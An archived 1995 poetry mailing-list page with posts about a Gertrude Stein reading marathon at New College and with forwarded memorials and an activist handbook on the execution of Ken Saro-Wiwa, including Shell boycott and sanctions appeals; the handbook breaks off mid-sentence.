IMPORTANT!! WE ARE IN THE PROCESS OF UPDATING OUR MAILING LIST. If you want to be added to the mailing list, please contact by mail or phone: The Segue Foundation, 303 E. 8th Street, New York, NY 10009, [redacted], and receive 10% off your next purchase of any Roof Book, thank you.

--Boundary (ID I+dk0Y2eVUZJsXdOuQ9Pew)--

↑ Index

230. **Herb Levy**

Re: Stein trouble

Sat 18 Nov 1995

Steve Carll wrote:

> *You missed the Gertrude Stein marathon at New College last night. Five hours of GS read by the allstar cast. It was all wonderful except for Barrett Watten's interminable reading from _The Making of Americans_, which brought the whole evening to a screeching halt.*

Steve, could you be more specific about Watten's reading of The Making of Americans. Was your problem with the delivery, or the text itself?

I mean, the book IS a screeching halt. It would be difficult to make it seem entertaining, and it would probably be a disservice to the work to attempt to do so.

Not that it would be less of a disservice to much of Stein's other work, but it's easier to imagine ways of making a lot of Stein's other writing seem charmingly eccentric or coy in performance.

(Since I read it all in one sitting today & it seems like it's dying down, I'll not comment on the Wallace/Selby "troubles.")

Bests

Herb Levy
[redacted]

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231. Steve Carll
delete that last post, please
Sat 18 Nov 1995

Dear list:

Oops. Due to my unthinking use of the "reply" key, I seem to have sent a personal message out to the whole list. Please disregard and forgive.

Thanks,
Steve

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232. Kevin Killian
Re: Stein trouble
Sat 18 Nov 1995

> *Herb Levy wrote:*
>
> *Steve, could you be more specific about Watten's reading of The Making of Americans. Was your problem with the delivery, or the text itself?*
>
> *I mean, the book IS a screeching halt. It would be difficult to make it seem entertaining, and it would probably be a disservice to the work to attempt to do so.*

I'll come to Steve's defense here. The problem, Herb, was merely a matter of length and placement. The single-spaced list of readers of Stein's work went on to the back of a letter-sized page--dozens of people. It was an astonishing event, particularly the plays. Barrett read in the third hour of the event, when fatigue was starting to set in, and according to one person who claimed to time

him, he read for 20 minutes--and there were plenty more readers to follow. In another context his reading would have been fine, particularly the way he contextualized it by reading a passage from Anti-Oedipus.

Dodie Bellamy

↑ Index

233. Ryan Knighton
Book Launch
Sat 18 Nov 1995

Thought I would let those of you in the Vancouver
area (or those who may be in the area) that the book
launch for George Stanley's _Gentle Northern Summer_ will
be on Dec. 8 at the Western Front.

Cheers

↑ Index

234. Gabrielle Welford
Re: J.H.'s letter idea
Sun 19 Nov 1995

I'd certainly put my name to such a letter too. Gab.

On Thu, 16 Nov 1995, Daniel Bouchard/College/hmco wrote:

> *Should we, as a group, send a protest of some sort to the current Nigerian regime? Would it be possible for intereested people on this list to sign a group letter?*
>
> *I'm pretty sure that a government which hangs its own writers would not be interested in the dissent of foreign writers. Registering protest with the UN or the State Department may be more worthwhile.*
>
> *Jeff, I would be interested in such a letter.*
>
> [redacted]

↑ Index

235. Gabrielle Welford
Re: renew renga
Sun 19 Nov 1995

Slurpies are forbidden beyond a meter
> As I listened to the argument with ear to the wall
> The pit at the tip of my tongue hung gracefully
> I know I was punished for objecting to one man-one groan.
> After the dance of the devils on the head of a pin
> Aunt Matilda came away with the impression and ironed pants
> with metro paradise and sheet metals & captain stots hanging
> in bold faced afterglow, the way we had imagined forenoon all embedded
> in syntax that was not designed for use. Yet "you" are "rubbery".
> "I" am "scared" of "the man" in "the subway"
> soubriquet of a monkey formal
>
>

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236. Gabrielle Welford
FAREWELL,KEN SARO-WIWA! (fwd)
Sun 19 Nov 1995

This came from the postcolonial list. Gab.

From: Prof F W J Mnthali, Humanities, English <[redacted]>
To: [redacted]
Subject: FAREWELL,KEN SARO-WIWA!

Some papers here tell us
you and your colleagues
went to your death singing!

Would that Africa as a whole
boasted more men and women with
your courage and your vision.

But we are all caught up in a web of fear
the fear that rules all killers
that web of silence which is the bane of all our feelings
the fear of our own shadows
the fear of lizards lurking behind freedom's rays
the fear of being thought weak
the fear of parting with loot and plunder

the fear of losing those peripheral powers
whose only guarantee is the barrel of a gun
cynically backed by the greed of those who have more guns!

When fifteen years ago I spent a year in your country
I saw with my own eyes
how the fishes and other forms of life
were all slowly dying
in the sluggish brownish and filthy liquid
that had once been water;black gold it seems
demanded its pound of flesh
from everything and everyone around it!

It has now demanded that you too
like the rest of our continent's creme de la creme
pay with your life for this gold this madness;
that the Ogoni like the rest of us
since the days of slavery and brutish colonisation
have been paying with our lives
for treasures that others consume
while our own people go hungry and naked:
it was for reminding it of this simple story
that the sphinx has devoured you
for no sphinx on earth
wants its victims told
how naked and how foolish it looks!

In my own country the sphinx
devoured Dick Matenje and Aaron Gadama
Twaibu Sangala and David Chiwanga
Attati Mpakati and Mkwapatira Mhango
Orton Chirwa and many many others
whose bodies were dumped
into the waters of the Shire
or into the bellies of crocodiles;
many fled into exile which also became an area of darkness
when the tentacles of the sphinx would know no bounds
for the kingdoms of darkness
decay and death are all alike:
they thrive best in the midst of silence and despair
our silence and our despair!

If today's death be that of Ken Saro-Wiwa and eight others
who have been so brazenly and so blatantly

in the classical fashion of Nazism so openly executed
can the deaths of Moshood Abiola and General Obasanjo
and Ransome Kuti
be far off?

Silence,why must heinous acts
be always followed by a deathly silence
oh, OAU,
oh, Africa?

F e l i x M n t h a l i .

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237. Tony Green
Re: Ken Saro Wiwa
Sun 19 Nov 1995

Thanks to Daniel Bouchard, info printed out and photo-copied for circulation today.

Tony Green,
e-mail: [redacted]

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238. Steve Carll
Re: Stein marathon
Mon 20 Nov 1995

Well, since my foot's already in my mouth (thanks, Dodie, for helping me extricate!), maybe I should do a report on the Stein marathon, which was hosted by the always-charming Lyn Hejinian at the prompting of the students in her Stein class at New College on Friday the 17th. It was five hours long. The proceeds from admission and drink, t-shirt and poster sales (Tim Kraft designed the posters and t-shirts, which were lovely). I'm doing this from memory (there was a program of sorts, but it was in flux due to various factors), so the order and the exact titles may be only approximate, or completely nonexistent.

Four of Lyn's Stein students started us off at 7 with, what else? "Ladies' Voices/Curtain Raiser," which was quite funny.

Robert Gluck read "Sherwood's Sweetness," about S. Anderson, which was itself very sweet.

Kathleen Fraser read a section of "Composition as Explanation" that she explained she keeps going back to again and again at different stages of her life.

Bill Berkson read "Reflections on the Atom Bomb," explaining that he'd wanted to do some of her reflections on money, but that Stein's view of money "was somewhere near Bob Dole's." He went on to say that this was Stein in her preaching mode, and that he might perform it by impersonating James Brown, but that he wasn't going to do that. Published the year after her death and when the atomic bomb was still new, this was one of her last written works. She pronounces the Bomb: "not interesting."

My personal favorite of the evening was "Bon Marche Weather" featuring Tim Kraft and Lisa Sogliuzzo wearing giant sunflower costumes a la Peter Gabriel in his Genesis days. They showed what you can do with Stein if you have a comic's feel for inflection. Tim lost a little bit of momentum fumbling with the bullhorn he used to deliver the final lines, but it was a very engaging piece nonetheless.

Gabby Glancy skipped around _Tender Buttons_ (my personal favorite Stein writing, for the record). She said she'd read bits of it onstage before and had wanted to read the same bits, but couldn't find them again, but that's a book you can improvise out of and be OK, and she was.

Kit Robinson was a scream reading from _The Geographical History of America_.

Robert Grenier took the stage and announced he'd wished Bill Berkson WOULD'VE done a preaching voice for Stein, and read for a bit out of various books, of which I remember only that he read different sections of Tender Buttons than Gabby had. Grenier was very amusing, changing voices and so on.

Brenda Hillman and Robert Hass (temporarily laid off as poet laureate since the gov. was closed) revisited Sherwood Anderson with "A Valentine to Sherwood Anderson," from which they read together, and we took a 20-minute break so the by-now-full-house could stretch its legs.

Someone (Stephen Ratcliff? Aaron Shurin? I can't remember already) starting at "page 800" of _The Making of Americans_. I remember remaining interested in it.

Beverly Dahlen did a reading from "Lifting Belly" which seemed a little precious to me.

Jalal Toufic and Trinh T. Minh-ha did a reading from one of the plays (memory fails me again) followed by a critical analysis Jalal did which I found hard to follow.

Several more of Lyn's students did a lively, silly take on "A Circular Play."

Larry Eigner read from "Melanctha." He was hard to understand at first, but as he went on I started to catch what he was reading, almost chanting.

It was around in here that Barrett Watten went on. He did start off intriguingly, by reading from _Anti-Oedipus_ and the beginning of _Making_, which concerns the burial of a father. After that he skipped to a section which dealt with a fat sister and a skinny sister, I lost the Deleuze and Guattari thread and he did indeed go on for 20 minutes from this same section with its implicit psychosocial theory of the interpersonal dynamics of such a sisterhood. A lot of people left then. Herb, with regard to your comments, I think it was the combination of his choice of material (which wasn't as interesting in and of itself as most of the other stuff), the fact that he'd tied it to something that it didn't seem to stay tied to, and the length of his reading that did this presentation in for me.

Dodie, what did you read? Was it "If You Had Three Husbands"?

Laura Moriarty, Leslie Scalapino and Nick Robinson did a very coy and funny run-through of "Doctor Faustus Lights the Lights."

Two people performed "Rooms" from _Tender Buttons_.

Carla Harryman read a piece of Stein's about herself and Picasso in the early years (didn't catch the title).

Kevin Killian did a great reading of "Miss Furr and Miss Skeene."

Camille Roy read "As A Wife Has A Cow/A Love Story."

Jack and Adelle Foley performed a radio interview with Stein dating from her American tour and then went off on a tangent or two.

We took another break, then Jeff Conant read from "Ada."

Lyn, Kit, Jean Day and Alan Bernheimer performed "I Feel A Very Anxious Moment Coming." Very amusing.

And, by popular demand, Tim and Lisa reprised "Bon Marche Weather" for the people who showed up late. It was even funnier the second time, even without the element of surprise regarding the costumes. It was midnight. I was exhausted and vowed to myself I'd start showing up to this class. Whew.

↑ Index

239. **Kevin Killian**
Re: Stein marathon
Mon 20 Nov 1995

Steve Carll wrote:
>Dodie, what did you read? Was it "If You Had Three Husbands"?

Boy, Steve, I come to your defense and you can't even remember what I read! I read from "What is English Literature," for which I got a surprisingly enthusiastic response. It was a great crowd.

"If You Had Three Husbands", if I remember correctly, was read by Carla Harryman. It was hilarious the way she'd look individual audience members in the eye and say with conviction, "If YOU had three husbands." But that's only if I'm remembering correctly.

Dodie

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240. Loss Glazier
Reminder: Tonight (Mon) 6:30EST epcLIVE
Mon 20 Nov 1995

The inaugural online live gathering for epcLIVE occurs tonight 6:30 EST! Details on the EPC...

http://writing.upenn.edu/epc

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241. David Kellogg
1995 MLA "Poetry and Cultural Criticism"
Mon 20 Nov 1995

Those who are interested in social theory and contemporary poetry might be interested in a talk I am giving at MLA.

Title: "Pierre Bourdieu, Poetry Critic: Subject and Object in the Contemporary Poetic Field."

Time: 8:30-9:45 am., Friday, 29 December

Place: New Orleans, Hyatt Regency Chicago

Session Number/Name: 372, Poetry and Cultural Criticism

I am concerned because the MLA, in its infinite wisdom, decided to schedule this session at the same time as a cool session on Historicizing Poetry chaired by POETICS's own Marjorie Perloff. So I'm worried that my talk won't be well attended. It will be interesting, though, and if the schedules are any indication, you can see me and still make it to Stephen Fredman and Peter Quartermain at the Perloff session in the same building. Or stay and see Deborah Nelson talk on Paul Monette's *Love Alone*. Either way.

I think the scheduling snafu is due to the fact that my session, inexplicably, is arranged by the Division on Nineteenth-Century American Literature. I promise there will be nothing nineteenth-century about it.

Cheers,
David
~~~
~~~

Fax: 44-[redacted]
(public affairs office in London)

In Nigeria, two leading newspapers:
The Guardian, Fax: 234-1-522-027
Tribune, Fax: 234-1-[redacted]

In the United States:
Ambassador Zubair Mahmud Kazaure
Embassy of the Federal Republic of Nigeria
2201 M Street, NW
Washington, DC 20037
Fax: [redacted]

- or -

urge President Clinton to speak
out on this issue by calling the
White House Comments Line at
ph: [redacted] or fax: [redacted]

In other countries:
Contact the nearest Nigerian Embassy.

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243. Robert Drake
community...
Mon 20 Nov 1995

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friends--

just a bit of musing--i just finished a short survey article on poetry resources available by e-mail (discussion groups & e-zines); i felt a bit foolish, but left out any mention of this list, as per the instructions frm the list owner. having wallowed around in rec.arts.poetry, & being painfully aware of the huge volumes of drek that wide-open forums invite, i understand the rationale... but i can't help but question, particularly a forum that mostly reflects a progressive politic, how appropriate such a restriction is... sounds like something the old boys would cook up... & i'm thinkin about the earlier discussion about LangPo's supposed closed-ness? && also, about the debut tonight of the EPC chat line, which is similarly configured--you must know the name of the group to join the discussion, "tell 'em charlie [tuna, or olson...] sent ya"... all of this relates, for me, to questions of community, how one constitues oneself as a memeber of a group, how the group (separate from the individual members) regulates itself, etc... questions of canon formation follow close behind...

&& lest there be any doubt, i am _not_ attacking anybody by raising the question, much greatful to chas b., and loss g., for their considerable work in enabling these forums... likewise

asever
luigi

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244. Daniel Bouchard/College/hmco
Ken Saro-Wiwa: follow-up
Mon 20 Nov 1995

If someone has ideas for tracking down the names of the PR firms Bill Luoma saw mentioned in the NYT I would be willing to call for addresses and names of people to target the letter to. Since the executions have already taken place, confronting involvement cover-up and disinformation will be an important task, in addition to preventing more arrests and executions. To save time, leave a message on my voice-mail at [redacted].

[redacted]

_____

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245. Steve Carll
Re: Stein marathon
Mon 20 Nov 1995

At 02:23 AM 11/20/95 -0800, you wrote:

> *Boy, Steve, I come to your defense and you can't even remember what I read! I read from "What is English Literature," for which I got a surprisingly enthusiastic response. It was a great crowd.*
>
> *"If You Had Three Husbands", if I remember correctly, was read by Carla Harryman. It was hilarious the way she'd look individual audience members in the eye and say with conviction, "If YOU had three husbands." But that's only if I'm remembering correctly.*
>
> *Dodie*

Boy, I'm just getting myself into more and more trouble here. You're absolutely right--It was Carla who read "3 Husbands." And I was also one of the enthusiasts when you read about the island where they invented explaining.

But, at the risk of further embarrassment, what did Stephen Ratcliffe read? Aaron Shurin? And what was the name of the woman who read the piece from

the uncollected Stein, the title of which was something like "Didn't Lily and Elsa Love You?"

Thanks Dodie,
Steve

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246. Steven Howard Shoemaker

NIGERIA CASEFILE #1 (A KEN SARO WIWA-OGONI HANDBOOK) (fwd)

Mon 20 Nov 1995

Forwarded message:
From daemon Mon Nov 20 13:49:17 1995
Resent-Message-Id: <[redacted]>
Resent-From: Tejumola Olaniyan <[redacted]>
Resent-Date: Mon, 20 Nov 95 13:28:13 EST
Resent-To: [redacted]
From: Tejumola Olaniyan <[redacted]>
Date: Mon, 20 Nov 95 13:16:20 EST
To: [redacted]
Subject: NIGERIA CASEFILE #1 (A KEN SARO WIWA-OGONI HANDBOOK)

NIGERIAN CASEFILE: THE KEN SARO WIWA-OGONI HANDBOOK

compiled by the Coalition Against Dictatorship (CAD)

CONTENTS:

(SECTION 1)

The Ken Saro Wiwa Campaign
Some History
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Saro Wiwa's Trial and Execution
Saro Wiwa's Closing Statement at the Trial
The Difference You Can Make
Nigerian Oil and the West: The Moral Challenge
The Challenge of Nigeria: A Call to World Conscience
Ken Saro Wiwa, preface to *Genocide in Nigeria: the Ogoni
Tragedy*

(SECTION 2, in a separate mail file)

Ken Saro Wiwa, "The World Bank and Us"
Chuks Iloegbunam, "The Death of a Writer"
(an obituary by a Nigerian journalist)

F. W. J. Mnthali, "Farewell, Ken Saro-Wiwa!"
(a poetic memorial by the renowned Malawian poet)
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Appendix 1: Action against the Nigerian junta and its backers:
Harvard students take the lead
Appendix 2: Wole Soyinka, "Why the General Killed"

THE KEN SARO WIWA CAMPAIGN

Ken Saro Wiwa was a prominent Nigerian author, television producer, environmental activist and leader of the Movement for the Survival of Ogoni People (MOSOP). The Ogoni are a minority ethnic group of about 500,000 people in Nigeria's oil-rich Southeastern Rivers State. Once an agricultural region with fertile soils, the Ogoni land and water have been devastated by pollution by multi- national oil companies with assistance from Nigeria's military dictatorship. MOSOP was set up to defend the environmental and human rights of the Ogoni community. Because the Nigerian government considers mineral resources within its territory to be automatically federally owned, the idea of special rights and reparations for local communities are alien to it. Oil provides about 80 percent of Nigeria's export revenue. Oil companies with significant presence in Nigeria are the Anglo/Dutch Shell Group, Chevron Corp., Mobil Corp., France's Elf Aquitaine SA and Italy's Agip SpA. Ken Saro Wiwa and eight others were recently executed after a sham trial on trumped up charges of murder.

SOME HISTORY

The Ogoni people of Nigeria have their lands in Rivers State, a part of Nigeria near the delta of the river Niger. This has historically been a fertile area, and consequently is highly populated. It is also the first place in Nigeria from where the Anglo/Dutch transnational Shell began extracting oil in 1958. At that time, Nigeria was still a British colony. It is estimated that $30 billion worth of oil has been extracted from Ogoni lands since then. Ogoniland has been important to Nigeria for two reasons: Firstly, it has been termed the "breadbasket" of Rivers State, a major food producing area, and secondly, since 1958 it has been the source of more than 900 million barrels of crude oil, vital to the Nigerian economy.

THE ISSUE

Although international attention is now being focussed on democracy in Nigeria, and pressure is being placed on the Nigerian dictatorship of General Sani Abacha to democratize the country, little is said of the role of the Western transnational corporations which prop up the Abacha's dictatorship. Shell has been exploiting oil in Nigeria without consulting or compensating the Ogoni people in any way. The Ogoni people are a minority, and thus have little

political power, since the Nigerian constitution does not protect minority interests. They have no mineral rights to their land, since all mineral rights are owned by the state. They are expected to be passive victims when oil spills, blowouts, and invasive pipe laying cause environmental damage. Hiding behind the dictatorial military, Shell has always turned a blind eye to the damages caused by its operations. For Shell's operations, says a news report, "the Ogoni people have received virtually nothing except a ravaged environment. Once fertile farmland has been laid waste by constant oil spills and acid rain. Puddles of ooze the size of football fields dot the landscape, and fish and wildlife have vanished." Shell would be slapped with hefty fines if it were to pollute any European or American country one-tenth as much as it did in Nigeria. The Exxon Oil spill in Alaska in 1989 and the reparations afterward is still fresh in our memory. In 1990, the Ogoni started to mobilize against the human and environmental injustice perpetrated upon them. They formed MOSOP, the Movement for Survival of Ogoni People, a peaceful resistance movement which attempted to highlight their plight, under the leadership of Ken Saro-Wiwa. Shell suspended its activities in Ogoniland in 1993, partly as a result of the Ogoni campaign. But it still pumps more than 250,000 barrels of oil a day in Nigeria, nearly 12 percent of Shell's international oil output. The government's response to MOSOP's protests has been brutal. Ogoniland is now sealed off, and under martial law. Ken Saro Wiwa has been executed, along with 8 other Ogoni. Hundreds of Ogoni have been murdered. Shell's role in this is significant - the most extreme brutalities against the Ogoni happened after Shell expressed concern about perceived local threats to its smooth functioning, to the Nigerian government. A memo signed by Major Okuntimo of the Rivers State Internal Security Task Force, dated May 12th 1994, states: "Shell operations still impossible unless ruthless mlitary operations are undertaken for smooth economic activities to commence." The document goes on to recommend the "wasting" of Ogoni leaders. Ken Saro Wiwa was arrested on May the 22nd, 10 days later. The blatant disregard for human rights that Shell Nigeria has displayed in its dealings with the Ogoni show it to be two-sided in its international relations. The abuses that it perpetrates in Nigeria (directly in the form of spills and blowouts, and indirectly by the Nigerian government which it leans on to protect its interests) would be unacceptable in the countries where Shell sells most of its oil. Whilst Shell International claims that its actions and those of Shell Nigeria are not linked, this is a transparent ploy to deny culpability. Shell profits are built upon Ogoni suffering. The Shell which fully supports democracy at "home" is the same Shell that actively promotes tyranny and barbarism "abroard."

SARO WIWA'S TRIAL AND EXECUTION

Ken Saro Wiwa and 15 other Ogonis were arrested in May 1994 after the deaths of four local pro-government Ogoni chiefs during a melee at a political rally. He was held in leg irons, and denied access to his family, doctors and legal counsel for eight months before being charged with murder. The charge was so baseless and devoid of concrete evidence that Amnesty International declared Saro Wiwa a Prisoner of Conscience. Even the government itself did not trust its own case enough to produce the predetermined result it wants--the elimination of vocal Ogoni leaders like Saro Wiwa--in the normal law courts that it created instead a military-dominated Special Tribunal to hear the case, though this was a civil offense. Such tribunals are answerable ONLY to the military government and there is NO right of appeal. It should be noted that the Nigerian military generally considers what goes on in civil courts to be "too much English" and a "waste of time." The defense team was frustrated at every step of the way by the Special Tribunal. The tribunal rejected defense evidence of the bribing of two key prosecution witnesses testifying against Saro Wiwa. The charade was so obvious that the defense resigned from the proceedings, feeling, as everyone felt, that the tribunal was predetermined to find the defendants guilty. Saro Wiwa and eight others--Dr. Barinem Kiobel, Saturday Dobee, Paul Levura, Nordu Eawo, Felix Nuate, Daniel Gbokoo, John Kpuinen and Baribor Bera--were found guilty and sentenced to death on October 31, 1995. Despite international appeals for clemency, they were hanged on November 10, 1995. Saro Wiwa won the 1995 Goldman Environmental Prize for Africa, awarded by a San Francisco-based foundation.

SARO-WIWA'S CLOSING STATEMENT TO THE NIGERIAN MILITARY APPOINTED SPECIAL TRIBUNAL
Port Harcourt, Rivers State, Nigeria

My lord,

We all stand before history. I am a man of peace, of ideas. Appalled by the denigrating poverty of my people who live on a richly endowed land, distressed by their political marginalization and economic strangulation, angered by the devastation of their land, their ultimate heritage, anxious to preserve their right to life and to a decent living, and determined to usher to this country as a whole a fair and just democratic system which protects everyone and every ethnic group and gives us all a valid claim to human civilization, I have devoted my intellectual and material resources, my very life, to a cause in which I have total belief and from which I cannot be blackmailed or intimidated. I have no doubt at all about the ultimate success of my cause, no matter the trials and tribulations which I and those who believe with me may encounter on our journey. Nor imprisonment nor death can stop our ultimate victory. I repeat that we all stand before history. I and my colleagues are not the only ones on trial. Shell is here on trial and it is as well that it is represented by counsel

said to be holding a watching brief. The Company has, indeed, ducked this particular trial, but its day will surely come and the lessons learnt here may prove useful to it for there is no doubt in my mind that the ecological war that the Company has waged in the Delta will be called to question sooner than later and the crimes of that war be duly punished. The crime of the Company's dirty wars against the Ogoni people will also be punished. On trial also is the Nigerian nation, its present rulers and those who assist them. Any nation which can do to the weak and disadvantaged what the Nigerian nation has done to the Ogoni, loses a claim to independence and to freedom from outside influence. I am not one of those who shy away from protesting injustice and oppression, arguing that they are expected in a military regime. The military do not act alone. They are supported by a gaggle of politicians, lawyers, judges, academics and businessmen, all of them hiding under the claim that they are only doing their duty, men and women too afraid to wash their pants of urine. We all stand on trial, my lord, for by our actions we have denigrated our Country and jeopardized the future of our children. As we subscribe to the sub-normal and accept double standards, as we lie and cheat openly, as we protect injustice and oppression, we empty our classrooms, denigrate our hospitals, fill our stomachs with hunger and elect to make ourselves the slaves of those who ascribe to higher standards, pursue the truth, and honor justice, freedom, and hard work. I predict that the scene here will be played and replayed by generations yet unborn. Some have already cast themselves in the role of villains, some are tragic victims, some still have a chance to redeem themselves. The choice is for each individual. I predict that the denouement of the riddle of the Niger delta will soon come. The agenda is being set at this trial. Whether the peaceful ways I have favored will prevail depends on what the oppressor decides, what signals it sends out to the waiting public. In my innocence of the false charges I face Here, in my utter conviction, I call upon the Ogoni people, the peoples of the Niger delta, and the oppressed ethnic minorities of Nigeria to stand up now and fight fearlessly and peacefully for their rights. History is on their side. God is on their side. For the Holy Quran says in Sura 42, verse 41: "All those that fight when oppressed incur no guilt, but Allah shall punish the oppressor." Come the day.

THE DIFFERENCE YOU CAN MAKE

Shell must know that it can't make profit out of the blood of the Ken Saro Wiwa and the Ogoni. Abacha must know that tyranny is universally unacceptable. The only way that this will happen is broad, strong action by all the people of the world. We call on all people who love freedom and justice to:

* Lobby your leaders to intervene on the behalf of MOSOP and the Nigerian people. Strong international action is necessary, not just talk. Demand for full

sanctions. Demand for a freeze on the personal assets abroard of Nigerian military and government officials. Here are useful addresses:

---President Bill Clinton, The White House, 1600 Pennsylvania Ave., NW, Washington, DC 20500.
Tel.: [redacted], Fax: [redacted]
Email: [redacted]

---Your Senators, US Senate, Washington, DC 20510

* Boycott all Shell products and inform Shell of your boycott. Remember, the joint venture operated by Shell in Nigeria is responsible for 70% of the Nigerian state's revenue - Shell is funding murder in Nigeria. Shell is the Nigerian military's enter of gravity. Call Shell Directly and ask them to scale back operations in Nigeria; also ask them to explain their decision to continue the $3 billion LNG project. Don't be deceived by Shell propaganda that sanctions would hurt ordinary Nigerians; tell Shell you heard that line before during sanctions against South Africa and that you are no fool. Nigerians say they want sanctions and are ready to bear it until the dawn of freedom. Tell Shell to keep its kindness, and ask it since when has it lost any sleep over the welfare of ordinary Nigerians. Shell recently said in a paid advertisement in British newspapers (11/19/95): "It's easy enough to sit in our comfortable homes in the West, calling for sanctions and boycotts against a developing country. But you have to be sure that knee-jerk reactions won't do more harm than good." Tell Shell it should be ashamed of itself for this absolute vulgarity and thinly disguised intimidation; tell Shell you weren't born yesterday to be so cheaply muscled into the corner of guilt for demanding sanctions. Tell Shell the title of its ad, "Clear Thinking in Troubled Times," is really "Clear Thinking to Profit Enormously from Tragic Times." And finally, tell Shell to answer this question posed by Wole Soyinka, the Nigerian Nobel Laureate: "Has the revenue of Nigeria ever reached the people?" Soyinka continues, "There's no reason why a total, comprehensive trade embargo shouldn't be enforced now. Even (former South African President F.W.) De Klerk says sanctions were the greatest force that brought apartheid down." Here are useful Shell addresses:

---Shell USA: [redacted].
---P. J. Carroll, President, Shell Oil Company, Houston, Texas
Fax: [redacted]
---Steven Ward, Vice President for Government Relations, Washington DC. Fax: [redacted]
---http://www.shellus.com/cgi-bin/page_feedback.cgi/OilProducts/abt-

shl/wwwadmin:Shell_Web_Feedback
---Christopher Fay, Shell UK Ltd, Shell Mex House, The Strand,
London W2CR ODX U.K.
Phone: 44-0[redacted]; Fax: 44-0[redacted]
---C.A.J. Herkstroter, Chairman, Royal Dutch Shell, Carel van
Builantlandtlaan 30, 2596 HR The Hague, The Netherlands.
Fax (public affairs office in London): 44-0[redacted]

Model Fax to Shell Oil Company (from AIUSA)

Please either sign the model letter yourself or print it out to use as a petition signed by as many people as you can fit on the page and fax it.

P. J. Carroll
President, Shell Oil Company
Houston Texas
[redacted]

Steven Ward
Vice President for Government Relations
Washington DC
[redacted]

I'm writing to express my shock, dismay and outrage at the execution in Nigeria of Ken Saro Wiwa, Dr. Barinem Kiobel and eight others on Nov. 10, 1995. This tragic killing of these peaceful environmental activists should never have happened. I expected Shell Oil to do all it could to stop the violations and save lives. I understand that the only public action Shell took to prevent this travesty was at the 11th hour in a letter requesting clemency. Shell Oil must now strongly and publicly condemn the Nigerian government for this brutal action. Despite Shell's contention that it had nothing to do with human rights violations in Ogoniland, the fact remains that Ken Saro Wiwa and his MOSOP organization were protesting environmental degradation due to Shell operations. In addition, the commander of the military unit that committed gross human rights violations in Ogoniland during May and August of 1994 boasted at a press conference that these actions were taken to protect Shell installations. Shell Oil has publicly expressed concern about the reaction in Nigeria to these executions. Shell can contribute to peaceful dialogue in Nigeria through visible, concrete actions to prevent future arrests, unfair trials, or executions of peaceful activists. In the effort to crush the Ogoni movement, homes were destroyed by the military in 30 villages. One concrete step Shell could take is to contribute to relief for those who were displaced and to reconstruction of destroyed homes. Shell should join world leaders, business leaders and concerned citizens around the world in an effort to gain the release

of all prisoners of conscience in Nigeria and demand a return to rule of law and respect for international human rights in Nigeria. Sincerely, ...

NIGERIAN OIL AND THE WEST: THE MORAL CHALLENGE

Nigeria's crude oil is probably the purest in the world. Generally called "sweet crude" as opposed to "sour crude" from Saudi Arabia and other regions, Nigeria Light has only 0.2% sulfur. >From fractional distillation, you could get about 33% gasoline, 20% kerosene, 16% light gas oil, 30% heavy gas oils, leaving ONLY 1% bitumen residue. Compare these figures with, say, Boscan Venezuelan crude which has 6.4% sulfur, only 3% gasoline, 6% kerosene, 7% light gas oil, 26% heavy gas oils, and a whopping 58% bitumen residue. This then is why Nigeria's crude is the dream oil of the advanced industrial countries of Europe and America: its lightness makes for cheaper distillation. These countries already have extensive road networks, so they would rather not buy, if they could, crude oil with high bitumen residue.

The quickest solution to the Nigerian crises, both the minority rights question and the larger issue of democratization, is an oil embargo. Nelson Mandela himself (an acknowledged moral voice on the continent), formerly lukewarm on the matter of oil sanctions, has finally embraced it as the solution to averting a Rwandan-scale tragedy in Nigeria. Europe and America are the main buyers of Nigeria's oil. Nigeria exports about 1.6 million barrels per day; about 44 percent of it goes to the United States and another five percent to Canada. Europe buys the rest. Although the international outrage against the Nigeria military dictatorship is currently so high that many Western leaders are already hinting at the possibility of oil sanctions, we must not be smug on the matter and expect that the leaders will actually impose sanctions without our relentless push. An oil embargo on Nigeria will certainly affect prices in the West, and politicians are not known to actively embrace actions that would put them on the spot with their vocal electorates. Not especially at a time when elections are near as they are in the U.S.A. at this moment. Here then is the moral challenge for us citizens and residents of Europe and America. We ought to let our leaders know that we support full oil sanctions against Nigeria as a way to quickly restore that country to democracy and the path of glory that its great potentials eminently qualify it for; that we are ready to pay a few cents more at the gas pumps than continue to fund the military junta's subversion of the rule of law, repression of the press,

proscription of oppositional movements, massive embezzlement of public funds and the judicial murder, assassinations, indiscriminate arrests and interminable detention without trial, of democracy- and peace-loving Nigerians. We should let our leaders know that we will not fill our tanks with Ogoni blood.

THE CHALLENGE OF NIGERIA: A CALL TO WORLD CONSCIENCE

by the International Coalition Against Oppression in Nigeria and the Forum for Creativity Towards the 21st Century. Tokyo Japan. November 15, 1995.

The latest outrage by the Nigerian military regime, in executing the writer and environmentalist, Ken Saro-Wiwa after a sham trial by hand-picked special tribunal, an execution that was hastily carried out in defiance of pleas by the international community, constitutes a fatal negation of civilized conduct and a denial of the fundamental human rights of accused persons. The Nigerian regime has flouted natural justice, the articles of the fundamental human rights of the United Nations, the Human Rights charter of the Organization of African Unity, and the Harare Commonwealth Declaration, to all of which the Nigerian government is a signatory. This act of judicial murder is of course only the most notorious and horrifing of a long catalogue of other violations- arbitrary imprisonments, torture, extra-judicial killings, denial of freedom of expression, not to mention the callous programme of "ethnic cleansing" of the Ogoni people, all documented in great detail by various Human Rights organizations in and outside of Nigeria. We wish to call attention especially to the latest of these, titled: NIGERIA- STOLEN BY GENERALS, the report by the Commonwealth Human Righhts Initiative, compiled after a fact-finding mission to Nigeria this year. It is clear that the present regime of Sani Abacha is resolved to stop at no act of terror and repression in order to perpetuate itself in power and thwart the rightful democratic aspirations of the Nigerian peoples, a choice that was clearly expressed in the elections of June 12, 1993. Those elections were acknowledged free and fair both by internal assessment and from international monitoring bodies, including the Commonwealth of Nations. The unjustifiable annulment of those elections constitute the root of Nigeria's current crisis. Not surprisingly, General Sani Abacha stubbornly keeps the winner of that election in prison, and under inhuman conditions, despite various decisions of the Nigerian courts that Bashorun Moshood M.K.O. Abiola, the President-Elect in question, should be set free. We therefore call upon the international community to assist the Nigerian people in the attainment of their democratic aspirations and in restoring their society to the rule of law by isolating the Nigerian dictatorship totally from the international community, and subjecting that regime to the same set of universal sanctions that were applied to bring down the racial minority regime of apartheid South Africa. We call for the immediate release of all detained persons, including the

